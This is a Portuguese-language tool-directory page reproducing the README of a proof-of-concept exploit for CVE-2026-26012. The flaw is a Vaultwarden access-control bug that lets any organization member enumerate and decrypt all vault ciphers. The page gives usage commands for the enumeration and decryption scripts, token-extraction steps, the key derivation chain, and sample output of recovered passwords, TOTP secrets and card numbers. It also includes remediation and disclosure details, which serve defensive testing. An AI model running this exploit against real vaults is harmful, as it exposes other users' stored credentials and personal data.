Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dulieno/cve-2026-26012
Análise de VulnerabilidadesExploraçãoSegurança WebCriptografiaTestes de PenetraçãoAprendizado e Educação
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Prova de conceito de exploit para CVE-2026-26012, um controle de acesso quebrado no Vaultwarden que permite que qualquer membro da organização enumere e descriptografe todos os ciphers, contornando as permissões de coleção.

Ver Repositório
1há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-26012 — PoC de Enumeração de Ciphers do Vaultwarden

AI Assisted License

Enumeração Completa de Ciphers Ignorando Permissões de Coleção da Organização

Uma prova de conceito de exploração para CVE-2026-26012, uma vulnerabilidade de controle de acesso quebrado no Vaultwarden (<= 1.35.2) que permite que qualquer membro da organização recupere e descriptografe todos os ciphers dentro da organização, independentemente das permissões de nível de coleção.

🤖 Nota: Este projeto foi desenvolvido com a assistência do Claude 3 Opus. IA foi utilizada para geração de código, estrutura arquitetural e documentação. Todas as saídas foram revisadas e testadas manualmente para garantia de qualidade.

Visão Geral

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
AfetadoVaultwarden ≤ 1.35.2
Corrigido em1.35.3
CVSS 3.16.5 (Médio) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Autorização Incorreta
CréditoDescoberto por @odgrso, corrigido por @BlackDex

A Vulnerabilidade

O endpoint da API GET /api/ciphers/organization-details é acessível a qualquer membro da organização. Internamente, ele chama Cipher::find_by_org que retorna todos os ciphers da organização e, em seguida, os serve com CipherSyncType::Organization sem aplicar controle de acesso de nível de coleção.

Como todos os ciphers da organização compartilham a mesma chave de criptografia da organização (que todo membro recebe ao ingressar), os ciphers vazados podem ser totalmente descriptografados no lado do cliente.

root@kitploit:~
Membro regular da organização (restrito à coleção "Public")
    │
    ├── GET /api/sync                     → 5 ciphers (correto)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 ciphers (TODOS os ciphers da org — BUG)
                  └──→ 42 ciphers de coleções restritas (VAZADOS)
                        └──→ Descriptografáveis com a chave da org que o membro já possui

Conteúdo do Repositório

root@kitploit:~
.
├── README.md                   # Este arquivo
├── poc_cve_2026_26012.py       # Fase 1: Enumeração de ciphers & detecção de vazamento
├── poc_decrypt.py              # Fase 2: Recuperação da chave da org & descriptografia de ciphers
└── LICENSE

Requisitos

  • Python 3.8+
  • cryptography (para descriptografia da Fase 2)
  • argon2-cffi (apenas se a instância alvo usar KDF Argon2id)
root@kitploit:~
pip install cryptography
pip install argon2-cffi  # opcional

Uso

Fase 1 — Enumerar ciphers vazados

Detecta se a instância é vulnerável comparando os ciphers retornados pelo endpoint normal /api/sync versus o endpoint vulnerável /api/ciphers/organization-details.

root@kitploit:~
# Autentique via navegador (SSO + 2FA suportados) e, em seguida, passe o token Bearer
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Todas as opções de autenticação
root@kitploit:~
# Token Bearer (recomendado — funciona com SSO + 2FA)
--token "eyJhbGciOi..."

# Cookie de sessão
--cookie "VAULTWARDEN_SESSION=abc123..."

# Cabeçalho Cookie bruto (vários cookies)
--cookie-header "session=abc; token=xyz"

# Login direto com senha (apenas SEM SSO, SEM 2FA)
--email [email protected] --password "MasterPassword"

Como extrair seu token Bearer:

  1. Faça login no cofre web do Vaultwarden (complete SSO + 2FA normalmente)
  2. Abra o DevTools do navegador (F12) → aba Network
  3. Clique em qualquer item do cofre para acionar uma chamada de API
  4. Encontre uma requisição para /api/... e copie o valor do cabeçalho Authorization
Opções adicionais
root@kitploit:~
--no-verify-ssl     # Ignorar verificação SSL (certificados autoassinados)
--show-all          # Também exibir ciphers legitimamente acessíveis
--max-display 50    # Número máximo de ciphers vazados a exibir (padrão: 20)
--output results.json  # Exportar resultados completos para JSON

Fase 2 — Descriptografar ciphers vazados

Recupera a chave de criptografia da organização e descriptografa todos os ciphers vazados da Fase 1.

root@kitploit:~
python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Nota: --master-password é sua senha mestra do Vaultwarden, usada localmente para derivar a cadeia de chaves de descriptografia. Ela nunca é enviada pela rede. O --token lida com a autenticação da API.

Solução de problemas: Se a descriptografia da chave falhar, adicione --debug para ver valores intermediários em cada etapa. O script tenta automaticamente 5 estratégias (HKDF moderno, HMAC legado, chave bruta e variantes de HMAC-skip) para lidar com diferentes idades de conta e configurações.

Alternativa: fornecer a chave da org diretamente

Se você já tiver a chave da organização de 64 bytes (128 caracteres hexadecimais):

root@kitploit:~
python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Exemplo de Saída

root@kitploit:~
[*] === Cadeia de Recuperação de Chaves ===

[1/6] Buscando parâmetros KDF...
       KDF: PBKDF2-SHA256, iterações: 600000
[2/6] Derivando chave mestra...
[3/6] Esticando chave mestra (HKDF-Expand)...
[4/6] Buscando chaves criptografadas de /api/sync...
       Organização: ACME Corp
[5/6] Descriptografando chave simétrica do usuário...
[6/6] Descriptografando chave privada RSA → Chave da organização...

[+] Chave da organização recuperada com sucesso!

[*] Descriptografando 42 cipher(s)...

============================================================
  RESULTADOS DA DESCRIPTOGRAFIA
============================================================
  Total:      42
  Descriptografados: 42
  Erros:      0

  RESUMO DE IMPACTO
  Senhas recuperadas:      35
  Segredos TOTP recuperados:  12
  Números de cartões recuperados:  3
============================================================

Como Funciona

Cadeia de Derivação de Chaves

Todo membro da organização já possui a chave simétrica da organização, criptografada com sua chave pública RSA. A cadeia de descriptografia é:

root@kitploit:~
Senha Mestra + Email
    │  PBKDF2-SHA256 ou Argon2id
    ▼
Chave Mestra (32 bytes)
    │  HKDF-Expand-SHA256
    ▼
Chave Esticada: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (descriptografa profile.key)
    ▼
Chave Simétrica do Usuário: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (descriptografa profile.privateKey)
    ▼
Chave Privada RSA (PKCS#8 DER de 2048 bits)
    │  RSA-OAEP-SHA1 (descriptografa profile.organizations[].key)
    ▼
Chave da Organização: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Dados de cipher descriptografados

Por Que a ACL de Coleção Não Protege os Dados

No modelo Bitwarden/Vaultwarden, todos os ciphers de uma organização compartilham a mesma chave de criptografia. O controle de acesso baseado em coleções é aplicado apenas no lado do servidor — o modelo criptográfico não impõe limites de coleção. Qualquer membro que tenha a chave da org pode descriptografar qualquer cipher da organização. Este CVE contorna o filtro do lado do servidor, expondo todos os ciphers a qualquer membro.

O Que É Descriptografado

Tipo de CipherCampos Descriptografados
Loginnome de usuário, senha, segredo TOTP, URIs
Cartãotitular, número, CVV, validade
Identidadenome, SSN, passaporte, endereço, telefone, e-mail
Nota Seguraconteúdo completo da nota
Todos os tiposcampos personalizados, metadados de anexos

Remediação

Atualize o Vaultwarden para 1.35.3 ou posterior imediatamente.

root@kitploit:~
docker pull vaultwarden/server:1.35.3

Após a correção, execute a Fase 1 novamente para confirmar a correção — a ferramenta deve reportar NOT VULNERABLE.

Ações Pós-Incidente

Se você estava executando uma versão vulnerável em uma organização multiusuário:

  1. Gire todas as credenciais armazenadas em coleções que estavam restritas a alguns membros
  2. Revogue e regenere segredos TOTP para quaisquer contas com TOTP armazenado no cofre
  3. Revise a associação à organização e remova membros desnecessários
  4. Audite logs de acesso para chamadas de API incomuns a /api/ciphers/organization-details

Divulgação Responsável

Este PoC é publicado após a vulnerabilidade ter sido divulgada publicamente e corrigida:

  • 2026-02-10 — Vaultwarden 1.35.3 lançado com a correção
  • 2026-02-11 — CVE-2026-26012 atribuído e advisory publicado
  • 2026-02-11 — GHSA-h265-g7rm-h337 publicado

Agradecimentos

Este PoC não existiria sem o trabalho dos pesquisadores de segurança originais e mantenedores:

PapelQuemContribuição
Relator da Vulnerabilidade@odgrsoDescobriu e divulgou responsavelmente o CVE-2026-26012
Desenvolvedor da Remediação@BlackDexDesenvolveu e publicou a correção no Vaultwarden 1.35.3
Mantenedor do Projeto@dani-garciaCriador do Vaultwarden, coordenou o advisory e o lançamento

Obrigado por manter o ecossistema de código aberto mais seguro.

Aviso Legal

Esta prova de conceito é fornecida estritamente para testes de segurança autorizados e fins educacionais. Você deve ter autorização escrita explícita antes de testar qualquer sistema que não possua. O acesso não autorizado a sistemas de computador é ilegal sob o CFAA (EUA), Computer Misuse Act (Reino Unido) e leis equivalentes em todo o mundo. Os autores não assumem responsabilidade por uso indevido.

Referências

  • GHSA-h265-g7rm-h337 — GitHub Security Advisory
  • CVE-2026-26012 — Entrada NVD
  • Vaultwarden 1.35.3 — Lançamento Corrigido
  • Bitwarden Security Whitepaper — Referência do Modelo de Criptografia

Licença

MIT — Veja LICENSE.

Baixar ferramenta